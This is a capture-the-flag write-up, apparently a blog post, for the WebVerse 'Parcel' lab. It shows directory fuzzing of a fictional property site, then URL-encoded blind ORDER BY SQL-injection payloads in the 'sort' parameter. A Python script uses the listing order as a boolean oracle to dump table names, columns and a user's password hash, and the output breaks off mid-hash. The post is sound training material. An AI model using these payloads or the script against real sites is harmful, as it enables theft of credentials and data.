# Parcel

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FCLGwHj4x26NpiTzBk79t%2Fimage.png?alt=media&#x26;token=1b14d511-fa60-4dce-a04b-0e42b6c3398b" alt="" width="375"><figcaption></figcaption></figure>

## Room Description

This is information directly grabbed from the main page and description of the lab.

{% embed url="<https://dashboard.webverselabs-pro.com/labs/parcel>" %}

> GridMark is an Austin-based property listing startup that launched in 2023. The platform lets home buyers browse, search, and save listings across the city. A recent internal audit flagged part of the platform as "needs review" — but the ticket was never prioritised. Meanwhile, the ops team has been taking shortcuts to make their lives easier. You've been brought in for a black-box assessment. The application looks clean on the surface. Dig deeper.

#### Synopsis

Enumerate, exploit, and escalate your way to the platform's most sensitive configuration.

#### What is Parcel

A realistic property listing web app with a multi-step attack chain requiring enumeration, injection, and credential access.

#### Who is Parcel for?

Pentesters and students comfortable with web application basics who want to practice chaining vulnerabilities across a realistic target.

#### Skills / Knowledge

* Web application enumeration
* Basic SQL injection concepts
* Reading and interpreting HTTP responses

#### What will you gain?

* Thoroughly enumerate a web application's attack surface
* Identify injection vulnerabilities in unexpected places
* Extract sensitive data using indirect techniques
* Chain multiple steps to achieve privileged access

## Initial Analysis

Similarly to the last application I did ([DocketHive](https://minatours-notes.gitbook.io/blog/webverse/dockethive)), I had troubles opening the web application without changing configuration on my end, not sure if it's due to the lab launch speed or if genuinely adding the IP and domain to `/etc/hosts` is part of the process, since in an engagement it definitely makes sense.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FYsRe3SIrVGtVeNxozwPk%2Fimage.png?alt=media&#x26;token=dec2f98b-f1e2-46fc-8feb-3c1c1f3e1039" alt=""><figcaption></figcaption></figure>

Okay, so the landing page is staying true to the brief, property listing page.&#x20;

We can login and register, we can try to login with some default credentials or try to see if there's blind SQLi and just bypass auth completely.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FsLQrMCejGeT9KZifye98%2Fimage.png?alt=media&#x26;token=8a9350cd-affc-4781-87f4-e98da4907de5" alt=""><figcaption></figcaption></figure>

Unfortunately, didn't work.

Let's try to go through the application features before registering an account and see if there's anything different once we have a profile.

## Finding the bug

We have several endpoints available to us that we can see, and several more that we can see in the page source. Instantly visible to us are: `/search`, `/listings`, `/market`, `/login` and `/register`.

### /search&#x20;

So this is a search function that can help us narrow down what kind of property we are after.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FI1W9JwY3I0tIMpr6aLqD%2Fimage.png?alt=media&#x26;token=02a96575-5b21-4539-8175-b6f1eb4cd1a1" alt=""><figcaption></figcaption></figure>

When submitting a search, we send the following GET request.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fbc99Mt3afbxU6gAt2TQl%2Fimage.png?alt=media&#x26;token=b369f159-6d86-4e8a-8948-8c0f828a3cd2" alt=""><figcaption></figcaption></figure>

So we have several fields to look through for, let's send this request over to sqlmap and see whether we can get a hit for any of the fields.

### /listings

We just have all the property listed here, nothing that we can't open with using Search to load them all up.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FcyLaS1Sm04qxvOfl5smL%2Fimage.png?alt=media&#x26;token=17b94a8d-3bd1-4f6e-9d23-794219db787b" alt=""><figcaption></figcaption></figure>

### /market

Now this place could lead you down a rabbithole, mostly because it does offer an alternate view to look at the listings and browse them. I LUCKILY decided to let this one slide and not look at it that much because `/search` piqued my interest.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FSnADjprQzaXdVHVVZDyi%2Fimage.png?alt=media&#x26;token=90ab5cec-2b65-4829-b4fd-efc202f9eed0" alt=""><figcaption></figcaption></figure>

### Directory Fuzzing

Let's see if there are any interesting endpoints that aren't viewable through the UI or the page source.

{% code overflow="wrap" expandable="true" %}

```
┌──(kali㉿kali)-[~/…/2026/ctf/webverse/parcel]
└─$ feroxbuster --url http://app.gridmark.io/ --wordlist /usr/share/wordlists/dirb/common.txt 
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://app.gridmark.io/
 🚩  In-Scope Url          │ app.gridmark.io
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       66l      148w     2023c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l       58w      525c http://app.gridmark.io/static/favicon.svg
200      GET      347l      675w     6753c http://app.gridmark.io/static/theme.css
302      GET        5l       22w      267c http://app.gridmark.io/saved => http://app.gridmark.io/login?next=http://app.gridmark.io/saved
200      GET      225l      581w     6175c http://app.gridmark.io/static/brand.css
200      GET      253l      601w    10049c http://app.gridmark.io/listing/63
200      GET      253l      596w    10052c http://app.gridmark.io/listing/45
200      GET       90l      184w     2817c http://app.gridmark.io/login
200      GET      372l     1002w    12356c http://app.gridmark.io/market
200      GET       91l      202w     3058c http://app.gridmark.io/register
200      GET      448l     2557w   197978c http://app.gridmark.io/static/images/listings/town-01.jpg
200      GET      344l     1007w    15029c http://app.gridmark.io/search
200      GET      524l     3167w   249477c http://app.gridmark.io/static/images/listings/apt-01.jpg
200      GET      253l      588w    10004c http://app.gridmark.io/listing/56
200      GET      253l      596w    10027c http://app.gridmark.io/listing/65
200      GET      648l     4250w   350343c http://app.gridmark.io/static/images/listings/condo-03.jpg
200      GET      253l      597w    10017c http://app.gridmark.io/listing/44
200      GET      451l     2354w   178098c http://app.gridmark.io/static/images/listings/town-02.jpg
200      GET      665l     1341w    13929c http://app.gridmark.io/static/styles.css
200      GET      457l     2638w   191296c http://app.gridmark.io/static/images/listings/apt-02.jpg
200      GET      253l      597w    10023c http://app.gridmark.io/listing/64
200      GET      367l     2140w   165675c http://app.gridmark.io/static/images/listings/apt-06.jpg
200      GET      517l     1220w    21409c http://app.gridmark.io/listings
200      GET      232l      550w     9107c http://app.gridmark.io/
302      GET        5l       22w      271c http://app.gridmark.io/account => http://app.gridmark.io/login?next=http://app.gridmark.io/account
302      GET        5l       22w      267c http://app.gridmark.io/admin => http://app.gridmark.io/login?next=http://app.gridmark.io/admin
302      GET        5l       22w      189c http://app.gridmark.io/logout => http://app.gridmark.io/
200      GET      253l      597w    10052c http://app.gridmark.io/listing/41
200      GET      253l      571w     9917c http://app.gridmark.io/listing/19
405      GET        5l       20w      153c http://app.gridmark.io/api/toggle-favourite
200      GET      253l      598w    10037c http://app.gridmark.io/listing/62
200      GET      192l     1221w    95679c http://app.gridmark.io/static/images/listings/house-03.jpg
200      GET      253l      601w    10040c http://app.gridmark.io/listing/39
200      GET      253l      573w     9951c http://app.gridmark.io/listing/18
200      GET      253l      606w    10063c http://app.gridmark.io/listing/54
200      GET      508l     2801w   210215c http://app.gridmark.io/static/images/listings/apt-04.jpg
200      GET      253l      599w    10020c http://app.gridmark.io/listing/43
200      GET      253l      596w    10046c http://app.gridmark.io/listing/53
200      GET      253l      596w    10034c http://app.gridmark.io/listing/40
302      GET        5l       22w      281c http://app.gridmark.io/api/my-lists => http://app.gridmark.io/login?next=http://app.gridmark.io/api/my-lists
200      GET      253l      603w    10045c http://app.gridmark.io/listing/55
200      GET      561l     3352w   251530c http://app.gridmark.io/static/images/listings/house-02.jpg
200      GET      531l     3004w   236294c http://app.gridmark.io/static/images/listings/town-03.jpg
200      GET      317l     1986w   154453c http://app.gridmark.io/static/images/listings/condo-02.jpg
200      GET      293l     1647w   141941c http://app.gridmark.io/static/images/listings/apt-03.jpg
200      GET      647l     3925w   295232c http://app.gridmark.io/static/images/listings/apt-05.jpg
200      GET      253l      598w    10039c http://app.gridmark.io/listing/42
200      GET      253l      591w    10011c http://app.gridmark.io/listing/38
200      GET      253l      571w     9929c http://app.gridmark.io/listing/20
200      GET      253l      594w    10016c http://app.gridmark.io/listing/61
200      GET      449l     2453w   181383c http://app.gridmark.io/static/images/listings/house-01.jpg
200      GET      539l     2672w   198891c http://app.gridmark.io/static/images/listings/condo-01.jpg
405      GET        5l       20w      153c http://app.gridmark.io/api/save-search
[####################] - 24s     4670/4670    0s      found:52      errors:0      
[####################] - 24s     4614/4614    192/s   http://app.gridmark.io/ 
```

{% endcode %}

### Creating an account

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Ft2OxN817g4GQPRoohZk2%2Fimage.png?alt=media&#x26;token=ee7d71b2-6d8e-4006-be44-c066edd3bbed" alt=""><figcaption></figcaption></figure>

So now we have a new feature called `/saved`. Let's go look at a property and add it to saved.

We can create a new list with the following request.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F9hLSfn7HpctbFasw07Gb%2Fimage.png?alt=media&#x26;token=a778e19a-51c9-405d-8932-4ed7a3cb228b" alt=""><figcaption></figcaption></figure>

We have an API request to get our list information.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FMJxHlFOyy7JggB4HVGZu%2Fimage.png?alt=media&#x26;token=bb20f0da-2069-4227-a744-48ce390be969" alt=""><figcaption></figcaption></figure>

and a POST request to toggle a listing to our saved list.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F3WKLxJOfblYDcJ8QU3Go%2Fimage.png?alt=media&#x26;token=44febb8f-17e6-4a93-ad0a-3806448fe427" alt=""><figcaption></figcaption></figure>

We can also send a message to someone that has listed a property.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F2YZTuliqzzvZiyfBpzR0%2Fimage.png?alt=media&#x26;token=c1a06814-7533-4ca6-b5a8-df6a65c373b8" alt=""><figcaption></figcaption></figure>

Saved Search Alerts is interesting, as we can store information.&#x20;

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FxFsRUeviBrrKH1TuM5J8%2Fimage.png?alt=media&#x26;token=96f4b45f-9258-407b-8d22-5016705c7a71" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fvy3HTwuHBzk1rJ7GoRcW%2Fimage.png?alt=media&#x26;token=ee7aa3f4-5de1-4418-adff-0944d6101021" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FgzSOyjUgQtUZFHg1Gv2V%2Fimage.png?alt=media&#x26;token=42c1c036-97b9-4bd5-a8c3-99c94d1c6257" alt=""><figcaption></figcaption></figure>

Okay, going through everything, I managed to get a permanent 500 error for the Saved Search Alerts, as I managed to cause an SQL error by trying some random payloads (I got an error using $ne testing NoSQL injections too) to ascertain what kind of database it is. While doing so, I realized that the saved searches functionality literally just gets your regular `/search` request saved, so the injection would have to be in the `/search` function. So let's try all of the parameters we have there and see if we can cause an error that doesn't get stored that would force us to create a new account to continue :D .

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FWOM2pckZADHpbZXcSkaG%2Fimage.png?alt=media&#x26;token=97aa55b1-f52c-4ec3-854d-52f8211e2a31" alt=""><figcaption></figcaption></figure>

Hm, so that probably might not be the injection field since whatever I do it errors out, we know this is definitely the query that is problematic since it causes a 500 internal server error, so either a WAF or something is stopping us, or there's a field that I'm missing that we can control. While attempting to figure out what's going on I realized also that "%" in the search parameter gives us all the results, so it might be an indicator. Turns out that I am missing the most important field.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FFMqlBQJf8ckTPeif8lnm%2Fimage.png?alt=media&#x26;token=4a942c21-9a2d-475b-a1f8-6965c5519513" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://app.gridmark.io/search?q=%25&min_price=&max_price=&bedrooms=&sort=price_asc
```

{% endcode %}

So all in all:

After testing multiple parameters:

* `q` → behaves normally (LIKE-based)
* `min_price` → causes 500 errors with injection attempts
* `sort` → **interesting behavior**

{% code overflow="wrap" expandable="true" %}

```
sort=(CASE WHEN 1=1 THEN price ELSE id END)
```

{% endcode %}

shows us one order of the listing and:

{% code overflow="wrap" expandable="true" %}

```
sort=(CASE WHEN 1=2 THEN price ELSE id END)
```

{% endcode %}

shows us another order of the listing, so now we have visual confirmation of when we get a hit from the database.

This is critical because:

* Traditional SQLi payloads fail
* But **conditional ORDER BY injection works**
* Enables **blind boolean-based extraction**

## Exploitation

We need to create our reference point or our oracle.

{% code overflow="wrap" expandable="true" %}

```
CASE WHEN <condition> THEN price ELSE id END
```

{% endcode %}

Then observed:

* If TRUE → results sorted one way
* If FALSE → different order

This becomes our **boolean oracle**.

Afterwards we use:

{% code overflow="wrap" expandable="true" %}

```sql
SELECT name FROM sqlite_master WHERE type='table'
```

{% endcode %}

and start extracting character by character:

{% code overflow="wrap" expandable="true" %}

```sql
substr((SELECT name FROM sqlite_master LIMIT 1 OFFSET X),pos,1)
```

{% endcode %}

Example, when we try to get the character "u" as the first position we get this response visually:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FJPSoBHOwVPuAV0DhhjWz%2Fimage.png?alt=media&#x26;token=075bf850-d04f-401b-9cb6-7a32326d7ada" alt=""><figcaption></figcaption></figure>

and when we try any other character we get the following response:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fbe33CD4XoLiYIuuWptKf%2Fimage.png?alt=media&#x26;token=bce4aa20-c3ac-4de4-91c9-de5ae4ba2389" alt=""><figcaption></figcaption></figure>

So we know that 3200 Duval is the first entry when we do have a hit!

{% code overflow="wrap" %}

```sql
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),1,1)=%27u%27%20THEN%20price%20ELSE%20id%20END) - u

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),2,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),3,1)=%27e%27%20THEN%20price%20ELSE%20id%20END) - e

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),4,1)=%27r%27%20THEN%20price%20ELSE%20id%20END) - r

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),5,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),6,1)=%27%27%20THEN%20price%20ELSE%20id%20END) - check for end
```

{% endcode %}

{% code overflow="wrap" %}

```
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),1,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),2,1)=%27q%27%20THEN%20price%20ELSE%20id%20END) - q

/search?q=%25&sort=(CASE WHEN substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 1),3,1)='l' THEN price ELSE id END)
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),3,1)=%27l%27%20THEN%20price%20ELSE%20id%20END) - l

```

{% endcode %}

{% code overflow="wrap" %}

```
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),1,1)=%27f%27%20THEN%20price%20ELSE%20id%20END) - f

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),2,1)=%27v%27%20THEN%20price%20ELSE%20id%20END) - a

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),3,1)=%27v%27%20THEN%20price%20ELSE%20id%20END) - v
```

{% endcode %}

Okay, so finding the flag won't be as easy as just extracting the first row from the first table we see since there are plenty of tables and different columns even in the user table. Trust me, I tried hahahaha, these are only ¼ of the requests I was sending manually.

{% code overflow="wrap" expandable="true" %}

```python
import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    # TRUE = Duval listing
    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract single char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase + string.digits + "_@.-"

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract full string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🧪 Test oracle
# ============================
def test_oracle():
    print("[*] Testing oracle...")
    print("1=1 →", is_true("1=1"))
    print("1=2 →", is_true("1=2"))


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    test_oracle()

    print("\n============================")
    print("[*] Extracting table names")
    print("============================")

    for i in range(5):
        print(f"\n[*] Table OFFSET {i}")
        query = f"SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i}"
        table = extract_string(query)
        print(f"[+] TABLE: {table}")

    print("\n============================")
    print("[*] Extracting columns (users)")
    print("============================")

    columns = []
    for i in range(10):
        print(f"\n[*] Column OFFSET {i}")
        query = f"SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET {i}"
        col = extract_string(query)
        print(f"[+] COLUMN: {col}")
        if col:
            columns.append(col)

    print("\n[+] Found columns:", columns)

    print("\n============================")
    print("[*] Extracting user data")
    print("============================")

    for user_index in range(1):  # try first 3 users
        print(f"\n👤 USER OFFSET {user_index}")

        # --- EMAIL ---
        query_email = f"SELECT email FROM users LIMIT 1 OFFSET {user_index}"
        email = extract_string(query_email)
        print(f"[+] EMAIL: {email}")

        # --- PASSWORD ---
        query_password = f"SELECT password FROM users LIMIT 1 OFFSET {user_index}"
        password = extract_string(query_password)
        print(f"[+] PASSWORD: {password}")

        print("\n----------------------------")
        print(f"[+] CREDS: {email} : {password}")
        print("----------------------------")

```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
┌──(kali㉿kali)-[~/…/2026/ctf/webverse/parcel]
└─$ python3 users_updated.py
/usr/local/lib/python3.13/dist-packages/requests-2.20.0-py3.13.egg/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.5.0) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
[*] Testing oracle...
1=1 → True
1=2 → False

============================
[*] Extracting table names
============================

[*] Table OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE: users

[*] Table OFFSET 1
[+] 1: s → s
[+] 2: q → sq
[+] 3: l → sql
[+] 4: i → sqli
[+] 5: t → sqlit
[+] 6: e → sqlite
[+] 7: _ → sqlite_
[+] 8: s → sqlite_s
[+] 9: e → sqlite_se
[+] 10: q → sqlite_seq
[+] 11: u → sqlite_sequ
[+] 12: e → sqlite_seque
[+] 13: n → sqlite_sequen
[+] 14: c → sqlite_sequenc
[+] 15: e → sqlite_sequence
[+] TABLE: sqlite_sequence

[*] Table OFFSET 2
[+] 1: l → l
[+] 2: i → li
[+] 3: s → lis
[+] 4: t → list
[+] 5: i → listi
[+] 6: n → listin
[+] 7: g → listing
[+] 8: s → listings
[+] TABLE: listings

[*] Table OFFSET 3
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] 10: _ → favourite_
[+] 11: l → favourite_l
[+] 12: i → favourite_li
[+] 13: s → favourite_lis
[+] 14: t → favourite_list
[+] TABLE: favourite_list

[*] Table OFFSET 4
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] TABLE: favourite

============================
[*] Extracting columns (users)
============================

[*] Column OFFSET 0
[+] 1: i → i
[+] 2: d → id
[+] COLUMN: id

[*] Column OFFSET 1
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: n → usern
[+] 6: a → userna
[+] 7: m → usernam
[+] 8: e → username
[+] COLUMN: username

[*] Column OFFSET 2
[+] 1: e → e
[+] 2: m → em
[+] 3: a → ema
[+] 4: i → emai
[+] 5: l → email
[+] COLUMN: email

[*] Column OFFSET 3
[+] 1: f → f
[+] 2: u → fu
[+] 3: l → ful
[+] 4: l → full
[+] 5: _ → full_
[+] 6: n → full_n
[+] 7: a → full_na
[+] 8: m → full_nam
[+] 9: e → full_name
[+] COLUMN: full_name

[*] Column OFFSET 4
[+] 1: p → p
[+] 2: a → pa
[+] 3: s → pas
[+] 4: s → pass
[+] 5: w → passw
[+] 6: o → passwo
[+] 7: r → passwor
[+] 8: d → password
[+] COLUMN: password

[*] Column OFFSET 5
[+] 1: r → r
[+] 2: o → ro
[+] 3: l → rol
[+] 4: e → role
[+] COLUMN: role

[+] Found columns: ['id', 'username', 'email', 'full_name', 'password', 'role']

============================
[*] Extracting user data
============================

👤 USER OFFSET 0
[+] 1: a → a
[+] 2: . → a.
[+] 3: o → a.o
[+] 4: k → a.ok
[+] 5: a → a.oka
[+] 6: f → a.okaf
[+] 7: o → a.okafo
[+] 8: r → a.okafor
[+] 9: @ → a.okafor@
[+] 10: g → a.okafor@g
[+] 11: r → a.okafor@gr
[+] 12: i → a.okafor@gri
[+] 13: d → a.okafor@grid
[+] 14: m → a.okafor@gridm
[+] 15: a → a.okafor@gridma
[+] 16: r → a.okafor@gridmar
[+] 17: k → a.okafor@gridmark
[+] 18: . → a.okafor@gridmark.
[+] 19: i → a.okafor@gridmark.i
[+] 20: o → a.okafor@gridmark.io
[+] EMAIL: a.okafor@gridmark.io
[+] 1: f → f
[+] 2: b → fb
[+] 3: 6 → fb6
[+] 4: a → fb6a
[+] 5: f → fb6af
[+] 6: a → fb6afa
[+] 7: 2 → fb6afa2
[+] 8: 5 → fb6afa25
[+] 9: 3 → fb6afa253
[+] 10: f → fb6afa253f
[+] 11: b → fb6afa253fb
[+] 12: 9 → fb6afa253fb9
[+] 13: b → fb6afa253fb9b
[+] 14: 9 → fb6afa253fb9b9
[+] 15: f → fb6afa253fb9b9f
[+] 16: b → fb6afa253fb9b9fb
[+] 17: b → fb6afa253fb9b9fbb
[+] 18: 0 → fb6afa253fb9b9fbb0
[+] 19: 5 → fb6afa253fb9b9fbb05
[+] 20: 3 → fb6afa253fb9b9fbb053
[+] 21: a → fb6afa253fb9b9fbb053a
[+] 22: 5 → fb6afa253fb9b9fbb053a5
[+] 23: c → fb6afa253fb9b9fbb053a5c
[+] 24: 0 → fb6afa253fb9b9fbb053a5c0
[+] 25: 0 → fb6afa253fb9b9fbb053a5c00
[+] 26: 0 → fb6afa253fb9b9fbb053a5c000
[+] 27: 1 → fb6afa253fb9b9fbb053a5c0001
[+] 28: d → fb6afa253fb9b9fbb053a5c0001d
[+] 29: 7 → fb6afa253fb9b9fbb053a5c0001d7
[+] 30: 9 → fb6afa253fb9b9fbb053a5c0001d79
[+] 31: a → fb6afa253fb9b9fbb053a5c0001d79a
[+] 32: 0 → fb6afa253fb9b9fbb053a5c0001d79a0
[+] 33: 2 → fb6afa253fb9b9fbb053a5c0001d79a02
[+] 34: 9 → fb6afa253fb9b9fbb053a5c0001d79a029
[+] 35: a → fb6afa253fb9b9fbb053a5c0001d79a029a
[+] 36: b → fb6afa253fb9b9fbb053a5c0001d79a029ab
[+] 37: d → fb6afa253fb9b9fbb053a5c0001d79a029abd
[+] 38: 5 → fb6afa253fb9b9fbb053a5c0001d79a029abd5
[+] 39: a → fb6afa253fb9b9fbb053a5c0001d79a029abd5a
[+] 40: d → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad
[+] 41: 3 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3
[+] 42: d → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d
[+] 43: 0 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0
[+] 44: c → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0c
[+] 45: f → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cf
[+] 46: b → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfb
[+] 47: f → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbf
[+] 48: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe
[+] 49: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7
[+] 50: 1 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71
[+] 51: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712
[+] 52: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122
[+] 53: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228
[+] 54: 6 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286
[+] 55: 3 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863
[+] 56: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638
[+] 57: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286382
[+] 58: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863828
[+] 59: 4 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284
[+] 60: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286382842
[+] 61: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863828427
[+] 62: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277
